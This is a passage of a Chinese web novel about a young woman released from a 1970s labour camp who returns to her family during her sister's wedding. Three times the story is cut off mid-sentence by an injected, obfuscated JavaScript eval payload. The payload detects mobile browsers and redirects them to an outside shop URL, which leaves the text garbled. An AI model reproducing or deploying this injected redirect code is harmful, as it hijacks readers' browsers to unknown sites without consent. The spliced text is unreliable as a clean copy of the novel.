《七零之亲妈劳改后》 2. 重修 [四儿,还有个好事和你说,你三姐要结婚了,就在下个月办席。想着你是赶不上你三姐的婚期了,家里给你寄了点吃的,也不知道东西什么时候能寄到你手里。] 姜四儿读到这里赶紧去拆包裹,里面是一包晒干的莲子肉,还有油炸过的用报纸包着的十几条小鱼干,以及一包奶糖。 看到这些东西的时候姜四儿嘴唇微张,美食还没吃进嘴里,就已经开心得唇角扯了起来。 欣喜过后她又有些疑惑,奶糖且不说,家里竟然给她寄了这些油炸过的鱼。 舍得用这么多油去炸鱼,家里条件也太好了。 可是家里条件怎么变得这么好了?什么时候的事? 她记得她被抓走离开家的时候,家里每天吃水煮菜舍不得用一点油炒菜,除非是过年过节过生日,否则平日里舍不得用油,就算用油,也不会这么奢侈地用油炸鱼。 炸过的鱼太香了,光是现在休息时间,就已经有很多女犯人从四面八方闻着香味儿赶过来。 幸好有干部及时过来维持秩序,要不然姜四儿护不住这些好东西。 74年8月底,终于收到出狱通知的姜四儿梳好头发穿戴整齐,脚步迟疑地伸出去又缩回来。 一个年轻的劳教干部笑着催促道:“回家吧。” 这里太偏僻,他们干部给联系了一辆顺路的运输车,可以送姜四儿到她老家县城。 那辆运输车司机态度可不好,不耐烦地在一旁一直摁喇叭。 姜四儿不敢耽搁,赶紧上了那车,坐在大卡车司机旁边的座位上。 至于车后面的货箱,拉着满满的一车干菌菇,菌菇的主人也在货箱里坐着,偶尔透过一个小孔偷看驾驶室副座上的女犯人。 他老人家头一回见到活生生的犯人,还是个女的,所以格外的好奇,好奇姜四儿犯了什么罪。 和这老人家一样好奇的还有司机,司机启动车子后眼神很不老实,司机好奇的不是姜四儿犯了什么罪,他好奇的是怎么会有这么好看的娘们儿。 白皙的肌肤、怯生生又好奇四处张望的圆润杏眼,露出来的地方没有一处不好看。 梁司机看得喉结滚动又滚动,发出咕噜咕噜的声响。 中午车子停下,司机在一个国营饭店点了几道好菜,招呼同行的姜四儿和老人家。 这个饭店里此时坐着的几乎都是长途运输的司机们,仗着可以向单位上报销饭钱,良心好点的随便吃一道青菜,良心不好的就像姜四儿身边这个梁司机一样,大鱼大肉吃着。 姜四儿吃不下这些占公家便宜的好东西,和梁司机礼貌告别后回到车上拿出包袱里的干莲子肉,站在车旁慢慢磨牙解馋。 看着屋外姜四儿那修长漂亮的腿,梁司机咽了咽口水,嘴里的肉也觉得没了滋味。 眼珠子转了转,梁司机冲同行的老人家使了个眼色,“老人家,我看你也不富裕,晚上咱们不住城里的招待所了,随便在路上熄火住在车里。” 喝着白水啃着自家大饼的老人家反应有些迟钝,没听懂司机话里的意思。 吃过午饭车子继续行驶,到了晚上,车子停在城外一个堤坝上,靠在车厢酣睡的老人家听到隐约的嘻嘻索索声,爬起来靠在驾驶室和货厢的隔板上。 透过隔板的孔洞,老人家看到那梁司机正一手使劲捂着那女犯人的嘴,另一只手不老实地在解那女犯人的衣裳。 驾驶室里,在姜四儿绝望挣扎间,驾驶室的车门被敲响。 “梁师傅!”老人家拿着堤坝上捡的不规则石头,砸着车门,大声喊。 堤坝下距离几百米的地方就有公社生产队挑堤的社员驻扎的小木屋,老人家喊这么大声也是在给自己壮胆。 “老不死的!”梁司机唾骂了声,差一点就得手了,这老不死的竟敢坏自己好事。 在那老东西坚持的神情下,梁司机只得松开了手,放姜四儿离开。 姜四儿逃出驾驶室,老人家面对梁司机狠毒的眼神,赔笑道:“老了,觉浅。那什么,师傅你继续睡,我就不打扰了。” 说完一转身,老人家朝地面呸了一声吐了口唾沫。 “现在这些人,都是什么玩意儿,不要脸的臭流、氓。” 老人家边骂边去找姜四儿,最后在堤坝下找到了受了惊吓躲在那儿的女同志。 “小姑娘,那里危险啊,快上来。” 姜四儿的脚离水面很近,要是脚滑落了水,只怕要淹死在这江里。 此时已经冷静下来的姜四儿看到在月光下发黑的水面,也有些后怕,又心惊胆颤地双手双脚并用地爬了上去。 “大爷,谢谢你刚才救我。”姜四儿头发散乱,精神很不好。要不是大爷‘多管闲事’,她今天就要被那流氓司机给欺负。 老人家叹了口气,“往后几天的日子恐怕不好过了,你小心点。” 接下来的路程姜四儿都和老大爷一起坐在货箱里,再也不敢接近驾驶室一点儿。 白天上路,那司机时不时找茬,在下雨时故意扯开篷布让干菌菇被雨淋湿。 身为货物的主人,老人家心疼得跪地求饶,求梁师傅别糟蹋这些粮食。 姜四儿心知老人家被自己拖累了,到处找东西希望能盖住布袋里的干菌菇。 梁师傅看着狼狈抢救货物的一老一少,心情大好。 就这么折腾着俩人,三天三夜的路程梁师傅硬是拖到了五天,还把老人家的货物糟蹋了三分之一。 看着那些坏掉的干菌菇,老人家气得头昏脑涨。 到了目的地省城,老人家和接货的人搬运货物。 姜四儿心中忐忑,大爷已经到了目的地,接下来自己一个人怎么面对那居心不良的梁司机…… “小姑娘,过来。”大爷冲姜四儿招手。 姜四儿赶紧下车跑了过去。 “小姑娘,我这不在车上了,你一个人坐他的车恐怕会遭殃。我和这里单位的人说了你的事,他们很同情你,说明天会有送下乡知青的卡车经过,正好去你老家那地方,到时候把你塞进去不是问题。” 姜四儿感激涕零,紧绷的身体也放松下来,对着大爷不停鞠躬道谢。 没占到姜四儿便宜的梁司机临走前指着老人家鼻子骂:“我记住你们单位了,以后再想让我们运输队司机给你们送货,得跪着求我才行!” 货车走远,老大爷冲着车尾气“呸”了几口唾沫。 老人家被这司机折腾了几天,货运到就病倒了,单位上把他送到医院,他指着姜四儿让单位安顿好这女同志。 有了大爷的帮助,姜四儿在他们单位女工宿舍放好行李,洗了个澡,中午在单位食堂吃了顿饱饭,下午又被宿舍楼其他女工人带着去省城逛街玩。 这是姜四儿第一次来到这么繁荣的城市,开了眼界。 一栋栋高楼,街上还有连接河流的威风凛凛的大桥,像画里才有的风景。 桥下有一辆辆观光船划着,船上坐满了人。 “这是什么?”姜四儿趴在桥边,好奇地指着道路上像是电线杆的东西,那杆上挂着漂亮的物品。 女工人惊讶,“这是路灯啊,你没见过?” 姜四儿腼腆地摇头。 看她这没见识的样子,女工人有些怜悯又有些东道主的骄傲,“走,我带你去人民广场,那里有很多好玩的好吃的。” 俩人上了公共汽车,姜四儿趴在车窗边,看见路上很多卡车和黑色小轿车。 这太神奇了,她不管是在老家生产队,还是在监狱或劳改农场,都没见过这么多的车。 “我们农场那么大,一共也就批下来了一辆卡车,”姜四儿有些小小的兴奋,“你们这市里真豪华,光是卡车我这会儿就见到了好几辆。” 女工人听了这话捂着嘴笑,笑姜四儿的单纯可爱,笑自己命好生活在这么好的城市。 公共汽车经过一个银行,里面进进出出的人穿着花花绿绿的衣服,姜四儿人生头一回见到这么多颜色的衣服。 终于到达人民广场,一群孩子踢着什么东西跑来跑去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586539|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 见姜四儿懵懂无知的样子,女工人给她解释,“那是足球。” 足球?姜四儿心想应该就和踢毽子差不多。 这座城市像天宫,姜四儿仰望着,却并不喜欢,因为离她的世界太远了。 一整个下午,女工人带着她逛街见世面,姜四儿用自己在劳改农场干活挣的钱请人家吃了碗面,还是用了人家女工人的地方粮票。 “你请我吃面我请你看电影。”女工人豪爽道。 女工人排队去窗口买票,姜四儿在二三十米外的花坛边坐着等。 很多小年轻朝电影院的方向走来,不远处几个穿着白衬衫或是工作服的年轻人骑着单车说说笑笑也奔着这边而来。 “哎呀,我单车坏了。”一个穿着白衬衫和黄色裙子的女同志突然停下单车。 她单车轮胎不知什么时候被钉子扎穿,难怪刚才骑着觉得费劲。 “这可怎么办啊。”那女同志跺脚。 旁边一起停下的年轻人同伴互相使了使眼色,把贺明峥推了出去,“简单,待会儿看完电影让贺同志载你回去。” 这群年轻人起哄调侃,那单车坏了的女同志脸色羞红,期待地看着贺明峥。 贺明峥没有在这么多人面前驳了人家女同事面子,点了点头,“可以。” 一伙人说说笑笑地将单车停下锁好。 独自去排队买票的贺明峥经过花坛边,脚步顿了顿,扭头看向花坛边坐着的女人。 他没看错,那熟悉的身影,是姜四儿,姜四儿出狱了? 早就目睹一切的姜四儿在对方看向自己的一瞬间就不由自主地扯起了嘴角绽放大大的笑脸。 笑得很傻很不安,笑得很讨好。 姜四儿站起身,朝贺明峥走去。 原来这座城市就是贺明峥的世界,她一下子对这个天宫似的城市有了好感和喜欢。 姜四儿朝贺明峥走一步,贺明峥就往后退一步。 那意思很明显,他抗拒她的靠近。 姜四儿想说些什么,可她已经红了眼眶喉咙哽咽,喉咙像被黏住了一样难受,一个字也说不出来,怕开口的瞬间就会丢脸地泪崩。 这个曾经对她最好的男人,说会一辈子对她好的男人,再次相见时,竟然是这种反应。 贺明峥转身走开去一个队伍后面排队,姜四儿下意识跟在他后头。 当她在贺明峥身后站定的时候,贺明峥毫不留恋地抬脚离开,去另一个队伍排队买票。 她不再眼巴巴地跟在贺明峥身后,不想让他心烦。 重新回到花坛边,姜四儿低着头沉默,偶尔又会抬头朝贺明峥看过去,得不到对方的回应,姜四儿痛苦地皱了皱眉。 姜四儿低头的一瞬间,站在台阶上的贺明峥朝她的方向看了过去,他垂眸的眼神淡淡的,看不出内心深处的想法。 “买到票了,”买完票的女工人和贺明峥擦身而过,笑着朝姜四儿跑过去,拉起姜四儿的手,“你看,这是电影票,你见过电影票吗?” 姜四儿摇头,她从没看过电影,更别说电影票。 贺明峥收回了视线,排了十几分钟买到票后去和其他同事汇合。 看完电影散场,穿着黄裙子的女同事惊呼一声,“我的单车怎么好了!” 之前还扎了钉子瘪胎的单车,现在完好无损。 旁边的一男同事低头捏了捏轮胎,“这胎补好了。” “奇事,谁补的?”“我们刚才都去看电影了,谁给修的车?”“真乃怪事一件。”“嘿,既然轮胎修好了,那岂不是不用贺同志送回家了?” ………… 同事们七嘴八舌地围着莫名其妙修好的单车啧啧称奇,贺明峥站在路灯下,看到了拿着补胎工具匆匆离开的姜四儿的背影。 贺明峥的唇角微微勾起,笑容许久未散。 即使这样,也看不出他眼里还剩多少温情。 他已经放下了,也打心底里希望姜四儿能放下,不要再对曾经的感情念念不忘。 3. 重修 崇盛公社,74年9月5日。 太阳还没出来就开始感受到空气中的闷热,大清早也难熬的天气让生产队知青点这些小年轻们起床后用冰凉的井水狠狠搓了把脸,恨不得全身都泡到这凉水里面去。 这口水井就打在第一生产队知青点的门前,却是供周围好几户村民们共用,所以每天都会上演一群人抢水的情形。 “让让、让让!”几个男知青推开女知青,端着木盆提着水桶过去打凉水,气得那几个女知青直跺脚。 几个女知青力气不够大,被几个捣乱的男知青给挤走了气不过,便将手中桶子里的水一股脑地泼在了那几个男知青身上出气。 “撕~~”几个被泼水的男知青享受地闭上眼,压根就不生气,“这凉水,真舒服,谢了。” “呸!”女知青们气冲冲地跑了。 把全身都用冰凉的井水浇了个遍,这些男知青挽起袖子去找公社的农机手借拖拉机。 今天是他们一个男知青方感勇结婚的大喜日子,这群男知青是给方感勇撑场子去的。结婚嘛,要是用两条腿走路去接新娘子,多少有点没面子,所以他们借拖拉机去迎接新娘。 “你们会开吗?可别把这拖拉机给开到沟里去了。”农机手也不是有多宝贝他那拖拉机,而是整个公社十二个大队,也找不出一个会修理拖拉机的师傅。 万一拖拉机弄坏了,找谁去修啊,是个大麻烦事。 “你放心,有人能行。”给这农机手递了包喜烟,方感勇‘嘿哟嘿哟’地开始摇着拖拉机上的摇把。 文弱书生方感勇使劲摇着摇把,摇了几十圈,没把拖拉机给启动,差点把自己的双手给摇废了。 农机手嗤笑一声,他这个本地人就看不惯这些‘娇弱’的男知青,更何况如今这娇弱的男知青还把村里的女人给娶走,农机手就更加讨厌他们了,觉得这些城里来的抢走了村里的女人。 方感勇是个爱面子的,此时被强壮的农机手笑了又不敢反驳,独自生着闷气。 “你个废物,让我来!”一个大块头男知青推开方感勇,自己往手心吐了几口唾沫搓了搓,摇了七下,便将拖拉机给启动了。 哼,大块头傲气地看着那个农机手,高兴自己给知青们找回了颜面。大块头他爹就是农机厂的职工,从小就在农机厂长大,这玩意儿他很熟。 几个男知青借了拖拉机后,把结婚用的喜庆大红花挂在了拖拉机上。 “接新娘子去咯~哈哈哈。”大块头知青爬上去坐上了驾驶位开着拖拉机,方感勇也站了上去,一旁的兄弟们沿路撒着最便宜的喜糖。 开得特别慢的拖拉机身后跟了一群看热闹或是捡糖的大人孩子们。 几十分钟后这群人开着拖拉机来到了姜家。 “姜老三,快出来!你男人接你来咯。”这些男知青在那起哄,笑声传遍了整个生产队。 姜木匠抽着烟在屋中不停叹气,他家老三长得清秀可人,原本指望着靠那张脸嫁给富贵人家,就像当初他家大妞嫁给了公社革委会副主任的儿子一样。不成想这三女儿死心眼,以死相逼着不肯嫁到公社会计家去,结果被方感勇那穷知青给骗走了,真是晦气。 “爹娘,我走了。”姜老三害羞地摸了摸头上戴着的塑料花。 “走吧走吧,反正晚上还要回来住。”姜木匠叹气一声,将女儿推出了门。 方感勇那穷男人没一亩三分地住,以至于三女儿嫁出去后还要带着那男知青回自家住,倒霉。 “老伴儿,人要往好处想,咱们就当做招了个上门女婿。”春花想得开,他们家生了五个女儿,总不至于各个都嫁得好,人生嘛,总有遗憾,太完美了也不是好事。 吃亏是福,吃亏是福。 “人家上门女婿还改姓,那穷小子吃咱们的住咱们家,姓都不肯改,算哪门子上门女婿?纯粹是上咱们家占便宜来了!”姜木匠一点也不体面,就这么不耐烦地声音大了起来。 声音这么大,让外面来接亲的男知青们听到了,方感勇高兴的一张脸立马就垮了下来。 “大喜日子不能生气,男子汉大丈夫,心胸开阔些,犯不着和这些泥腿子斗气。”旁边几个好兄弟劝方感勇放宽心。 爱面子的方感勇勉强撑起了笑脸,心里头却记恨上了姜家这一大家子这么当众不给自己脸,想着莫欺少年穷,等以后发达了一定要狠狠打姜家这老东西的脸。 姜老三眼眶含泪,哀怨地瞪了自己爹妈一眼,随即头也不回地跑出门奔向那个男人。 脸蛋红扑扑的姜老三在这大热天气跑出了一身汗,来到方感勇面前害羞地看着他。 方感勇喉咙动了动,看着清秀可人的媳妇儿咽了几口口水。 都说姜家五个女儿各个貌若天仙,如今娶了姜家的老三,方感勇的自信心爆棚,暗夸自己有本事。 “真漂亮。”旁边几个男知青此时才真正地羡慕嫉妒,甚至有点小小的恨意,之前那点起哄的心思都没了,各个心里泛着酸水。 在这奇怪的氛围里,方感勇将新娘带回了知青点。 这只是走个过场,给方感勇留面子。下午,他们新婚夫妻俩就带着所有行李回到了姜家。 真正的吃席敬酒办席,都在姜家,由姜木匠出钱操办。 成群结队的人往姜家走去,都等着开席。 半年没见到荤腥的人们隔着老远就闻到了姜家大锅里炖肉的香气。 听说姜家为了今天的席,买了半头猪。 当场熬出的猪油,马上下锅炒青菜,香得在场的社员和知青们纷纷扬着脑袋目不转睛地盯着做饭的人。 院子里只摆得下六张桌子,先到先坐,人挤人坐着,后到的只能站着夹菜。 熬猪油端出来的油渣子,撒上点食盐往桌上一端,很快就被饿狼扑食的人群给淹没。 每端上一道菜,只需几秒的时间,就会被一扫而空。 方感勇和姜老三穿着白衬衣直筒裤,胸前戴着大红花,去接待客人。 方感勇带着姜老三一桌一桌地去敬酒,“大伯,敬你。” 敬完酒,他拿出火柴盒划了几下点燃火柴棍,去给姜家这一大家子亲戚点烟。 有个在饭桌上抢食抢得最欢的姜家亲戚只给了壹角纸币的茶钱,姜老三这个新娘还没说什么,方感勇这个新郎就已经挂了脸给亲戚脸色看,他觉得壹角的茶钱太少了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586540|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 招呼客人的姜木匠注意到了这一幕,气得很。这吃软饭的小子,敢给自家亲戚脸色看,简直是倒反天罡! 正想着怎么治一治这比上门女婿还不如的混小子,突然只听外面大声喊道:“姜四儿回来了!姜木匠,你家四儿回来了!” 热热闹闹的喜宴顿时安静了许多,只有一些知青聊天的声音。 知青们不知道,当地社员村民们可清楚得很,姜家那个姜四儿可是坐牢的人。 想起坐牢的人,大家心里第一感想就是害怕,第二,就是嫌晦气。 不仅外人这么想,姜老三这个新娘也嫌晦气。 院子内的姜家人一时间齐齐朝外看过去,只见一个用网兜拎着行李的女人站在大门口,正是坐了几年牢的姜四儿。 方感勇不认识那个女人,一眼瞧过去,只觉得心脏重重跳了几下。 太美了,这绝对是他人生中见过最美的姑娘。 即使穿着洗得发白的破烂衣服,也难掩那惊心动魄的美。 “我这下真信了那传闻。”“什么传闻?”“说姜木匠年轻时帅得人神共愤,有一些女同志因为他结婚跳了河或是终身不嫁。”“这也太夸张了。”“是啊,以前我也不信,那姜木匠一脸沧桑,看不出年轻时多帅。现在我真信了,都说女儿像爹,没见姜家这几个女儿一个比一个美吗?”“我以为姜老三已经是最好看的了,没想到啊没想到。” ………… 来吃席的知青们捂着嘴窃窃私语。 方感勇咽了咽口水,见姜家人神色复杂,便扯了扯老婆的袖子,“她是谁啊?” 姜老三勉强笑了笑,“我四妹。” 院子外端着碗站着吃饭的乡亲们不敢大声说话,在那小声嘀咕着,这姜四儿怎么就放出来了? “四儿,”姜木匠最先反应过来,哽咽着上前,“你终于回来了。” 姜木匠这一动作,其他人不好干站着,几个亲戚都围了过来,“四儿,不是还没到出狱的时间吗?怎么出来的?” 姜四儿轻声解释,“表现好又立了功,那些领导帮忙给我递了申请帮助我减刑,提前放出来了。” 来吃席的生产队长有些忐忑,“真、真的吗?你不会是自己逃出来的吧?” “…………”姜四儿尴尬不知所措,反应过来对方是什么意思后立马从行李中拿出了一张纸,那是监狱给的释放证明。 生产队长识得几个字,但也认不全,旁边的知青凑过来看了一眼,确认无误,“是释放证明。” “减刑好,减刑好。”老妈春花也高兴得在那抹眼泪,快步跑了过来要拥抱女儿。 春花快步朝自己跑来的一瞬间,姜四儿瞳孔微缩,触及到了不好的记忆,脑子一片空白,身体下意识蹲下,双手抱着脑袋瑟瑟发抖。 “…………” 所有人心中一震。 姜四儿这反应,一看就是长期被打后的下意识防御动作。 “看来她这几年在监狱里日子不好过。”有人议论。 姜木匠和春花听了这话,心里愧疚。 同时又庆幸,庆幸当初去坐牢的是四女儿,而不是他们心爱的那个孩子。 4. 重修 姜四儿抱头蹲下的动作惹得老妈春花眼泪横飞。 爸妈心疼孩子受罪了,但也觉得在这么多人面前没面子,所以半推半抱地带着姜四儿回屋子里面。 “好孩子受苦了,你回来得正是时候,今天咱们姜家三喜临门。” 三女儿姜老三出嫁、四女儿姜四儿出狱、五女儿姜小芯3岁生日,都凑到同一天了,可不就是三喜临门嘛。 姜木匠和春花围着四儿转,其他亲戚乡亲们也都跟着看热闹,知青们则是继续震惊于姜四儿的美貌。 一时间,倒是没有人去关心两个结婚的新人。 这可是结婚的大喜日子,一生的大事,就这么被四妹抢走风头,姜老三恨恨地咬着唇。 从小四妹就压她们一头,大家都说姜家大女儿二女儿三女儿分不出胜负,都是村花级别的美人儿,美得各有特色各有千秋。 可只要姜四儿一出现,大家心里默认这就是第一好看的,不用比。 常年被压一头,姜老三心里委屈。如今结婚这样的大事也被夺了风头,姜老三气得没法说。 转身靠在新郎胳膊上想寻求安慰,却见平日里文质彬彬的新郎官方感勇此时眼珠子时不时朝屋里的四妹打量。 “四儿,我可怜的孩子,都瘦了。”春花摸摸女儿的手腕,用手指头量了量,发现四女儿整个人瘦了一圈。 “受苦了,来来来,多吃点。”姜木匠端着一个大猪蹄过来,那是厨房里唯一一个大猪蹄。 不光其他姜家女儿,连吃席的客人都看直了眼。 “咕噜”一声,方感勇喉结滚动,眼神终于被美食吸引走。 姜老三早已心急如焚地跑了过去,提醒道:“妈,不是说这唯一的猪蹄给我和勇哥吗?今天可是我和勇哥结婚的重要日子。” “呃……”春花一下子犯了难,是啊,今天可是老三结婚的大日子。 可、可四儿出狱也是大日子。 春花端着猪蹄的手抖了抖,老三的心也颤了颤,那脑袋嘴馋地跟着猪蹄的方向转动。 老三这么馋,春花更舍不得让老三失望了。 唉,天杀的,手心手背都是肉,这该怎么选? 春花纠结了一会儿,突然了悟,笑道:“老三,那就把猪蹄一分为二,你和你四妹都有份。” 姜四儿连忙阻止,“妈,别,今天三姐结婚,她最大,先紧着她。” 这样当然好,省得自己为难了,春花很欣慰,“诶诶诶,听你的,四儿还是这么懂事。” 四妹这么一说,老三的心情缓和了一点,对四妹也有了些好脸色。 “妈,你先陪陪四妹,我和勇哥出去招待客人。”老三牵着勇哥的手出了房间。 姜四儿看看四周,心中的疑惑小声问出口,“爸,妈,咱们家条件怎么变得这么好了?” 她看到了房间里摆着的收音机,也看到了爸妈红润的脸色,一看就是平日里油水吃得好。 骄傲的姜木匠立马挺起胸膛,“你大姐出息了,现在是供销社的职工。” 春花紧跟着炫耀,“你二姐也出息,现在在食品站工作。” 不管供销社还是食品站,偷摸搞点油水,简简单单的事。 比如那案板上切猪肉时黏上的肉沫子,从食品站下工后用手那么一抹,就能抹出点肉来免费带回家。 比如收点好处,卖洋油的时候多打那么一点儿,谁又能抓住你把柄? 姜四儿觉得这是不对的,但也知道自己改变不了什么,这个社会就这样。 “别傻站着了,来。”春花从厨房炒菜的灶台里给舀了热水,让四儿洗澡洗洗身上坐过牢的晦气。 姜四儿洗澡的时候回想爸妈关心自己的态度,一颗心软了又软。 别的人坐牢回家恐怕要被家人嫌弃死,可她的爸妈一点也不嫌弃她,还对她这么关心。 所以啊,爸妈怎么可能是陷害她坐牢的帮凶呢。 不可能,绝对不可能。 大姐出了名的温婉美人,二姐嘴里不饶人却是刀子嘴豆腐心,三姐脾气大但是性子直,这三个姐姐怎么看也不像是会陷害她的主谋。 那封所谓揭穿真相让她看清家人的信,到底是何意味? “或许是挑拨离间。”姜四儿呢喃。 肯定是哪个心肠不好的人想挑拨离间。 越想越觉得是这个可能,加上她出狱回了家,暂时也没力气再去回想坐牢的事,只想好好休息。 她已经自由了,以后只会越来越好。 在姜四儿决定抛下那些烦心事时,春花从上了锁的柜子里拿出一点钱用红纸包好后交给姜四儿, “今天你三姐结婚,你把这红包给他们。” “妈,我给新人红包哪能要你出钱,我兜里有钱,在劳改农场干活攒了一些。” “别和妈犟,让你拿着你就拿着,一点钱算什么,这是我们欠你的。” “欠……欠我的?妈,你这是什么意思?你们什么时候欠我了?”姜四儿的心重重沉了下去。 春花更是惊慌了几秒,说错话的尴尬一扫而过,随即强颜欢笑道:“没什么,你三姐和姐夫过来了,快把红包给她。” 红包里是二十块,姜四儿把红包给新人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586541|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 老三觉得赚了,欢欢喜喜地收下。 方感勇却偷偷怼了怼媳妇儿,“我刚看到这钱是你妈给你妹的,你妈是不是太偏心了点?竟然给你妹出钱。” 姜老三听到‘偏心’二字,却是突然想到了什么,神情有些不自然,“家里确实欠四妹……唉呀,你别管了,有些事不好和你说,我心里有数。” “什么事啊,还瞒着我,神神秘秘的。” “总之你别管,我妹出狱,家里现在偏心点她情有可原。” 可这逻辑不对啊,方感勇追问,“她坐牢肯定是她犯了事,她犯了事是她的错,出狱了更该夹着尾巴做人,为什么还要偏心一个做错事的人?” “行了!别提她了,你怎么对我妹的事这么上心?” 姜老三的视线在方感勇身上打转。 方感勇是这几批下乡知青里看上去最有文化的,戴着个眼镜,平时除了下工干活就是看书,写起情书来也是一套一套的,把姜老三这个读了点书的女同志迷得团团转。 正因为喜欢方感勇,姜老三才察觉到勇哥这个平日里话并不多的人今天老是聊起四妹。 惊讶于媳妇儿的心细,方感勇笑道:“我哪有对她的事上心,我是第一次看到坐牢的人,觉得新奇。” “最好是这样,”姜老三不太信这套说辞,拈酸吃醋,以至于给四妹泼脏水,“坐过牢的能是什么好东西,你可别看她长得好看,她很有心机。” “怎么说?” “她啊,又懒又文盲,还很不要脸,”姜老三一张漂亮的脸说起别人坏话来也是扭曲得很,“我四妹十几岁的时候就知道吊着男人了。” 不就是凭着那张脸吗,懒得要死,出工干活的时候总是偷懒,不拒绝别的男人们帮她干活。 “乡里乡亲的都知道,那些年轻乡下小伙子或是男知青总是被她耍得团团转,人家争着抢着给她干活,她还爱答不理的,高兴了就和别人说几句笑几声,不高兴的时候从不给那些男人好脸色。” 关键是姜四儿心情阴晴不定,上一秒还和那些男人说说笑笑,下一秒突然就不知为何没了好心情,也对那些男人没好脸色。 “那些男的也是蠢,明明我妹忽冷忽热把他们当狗一样,他们还上赶着。”姜老三心疼那些男人看不清楚四妹的真面目。 那些男人总说四妹傻傻的,姜老三觉得傻的是他们才对,只有同为女人的她才看得出来四妹很会在男人面前装纯情装无辜。 “谁要是娶了我四妹那种人,就等着戴绿帽子吧。”姜老三语气加重,提醒老公可别被四妹的外表给迷惑。 5. 重修 方感勇听了媳妇儿的诋毁,面上惊讶道:“原来你妹是这种人,我以后肯定离她远一点。” 心里头,方感勇暗暗吃惊,想不到姜四儿这么随便,那更好了,他要把姜四儿拿下岂不是易如反掌。 屋子里,招待好自家亲戚的姜木匠去厨房后头的水井找到正在给姜四儿洗衣服的老婆子春花, “婆娘,四儿回来了,家里房间怎么分?” 春花觉得这问题很简单,“让四儿和二丫睡一间房。” 就和以前一样几个姐妹睡一间房。 姜木匠抽了几口烟,不作声。 这死老头子,每次不出声就是在表达不满,心里头有其他的主意。 春花在洗衣板上搓衣服的手一顿,“你到底想说什么就直说,我没心思猜。” 姜木匠迂回道:“我直说了你又不高兴。” “…………” 春花瞪了老伴儿一眼。 姜木匠破功笑了出来,道:“我是这么个意思,想把新修的小砖房让给四儿住。” “不行,”春花立马驳了回去,“你别一天到晚想些馊主意,家里好好的,你这一搞家庭都不和睦了。” 她知道老头子是觉得愧对四儿,但是可以从其他方面弥补四儿,不能再把老三给惹恼,这样姐妹间不和睦。 老婆子说的有道理,姜木匠许久后叹了一口气,“行吧,听你的。” —————— “看到没,新修好的小砖房。”姜老三在姜家菜地旁的小砖房给几个亲戚家的姐姐妹妹炫耀。 这小砖房是姜木匠和几个亲戚花了一个月的时间紧赶着做好的新房。 这些亲戚家的女孩儿见了没有不羡慕的,本来她们女儿就是嫁出去的。可姜老三嫁了个穷知青,姜家竟然为姜老三特意建了新房让她在娘家住,这些亲戚家的女孩儿怎么可能不羡慕。 她们在姜老三的带领下进去参观,除了房梁和几根柱子是木材做的,其他都是红色砖块砌的。 “你爸妈对你真好,”她们语气酸溜溜,“你这新房是从哪里换来的旧砖块?” “怎么可能是旧的!”姜老三怼了回去,“你们还真是没见过好东西,就灶台是用的旧砖块,其他地方的砖块都是我爸从隔壁公社砖厂里一车车拉过来的新砖头,我爸亲眼看见他们厂里工人烧制的新砖头,哪里旧了?” 姜老三知道她们是羡慕自己才语气这么酸溜溜,不仅不生气,心里面还很得意。 她在这里炫耀新房,新郎在姜家院子里心烦,只因为最后上的一道菜是甜口菜,是掺了绵白糖的烙饼。 这年头可是糖荒,肉容易买,糖难得。乡下没有肉票,不像城里拿着个本儿每个月定量买几两肉,乡下基本上舍得花钱就能买点肉尝尝鲜。 糖不一样,这两年糖这东西不管城里乡下都很难买到,有钱有票也难买。 主要是因为这两年国内外糖的产量都很低,天气不好收成不好,糖的价格呈上升趋势。再加上有些资本国家针对,国内拿钱也很难进口到大量的糖。 这就导致糖比肉还珍贵万分。 姜家也是拜托了大女儿的婆家,最后弄来了一些糖,这加糖的烙饼一上桌,引起疯抢。 新郎方感勇那叫一个不舍,又碍于读书人的面子,拉不下脸来和客人抢食,只能光看着咽口水。 给女儿洗好衣服晾晒的春花看着院子里的哄抢,只觉得热闹吉利。 “妈,”在房间里躲着吃饭的姜四儿跑出来很内疚,“你怎么把衣服帮我洗了,不是说好我自己洗吗。” 她这么大的人了,还让妈妈洗衣服,实在是不好意思。 春花摆摆手,“你吃你的,好好休息。” “谢谢。”姜四儿声音哽咽,感动得不行。 春花不想让四女儿出房门,又不能明说,找了个借口,“别傻站着了,去厨房拿烙饼吃,我让炒菜的亲戚给你们几姐妹留了饼。” “诶,谢谢妈。” 姜四儿偷偷溜去厨房,和同样馋饼吃的方感勇碰上。 见到姜四儿,方感勇迷了眼,想尽一切办法想和她接触, “四妹,来,我这一张饼吃不完,分你一半。” 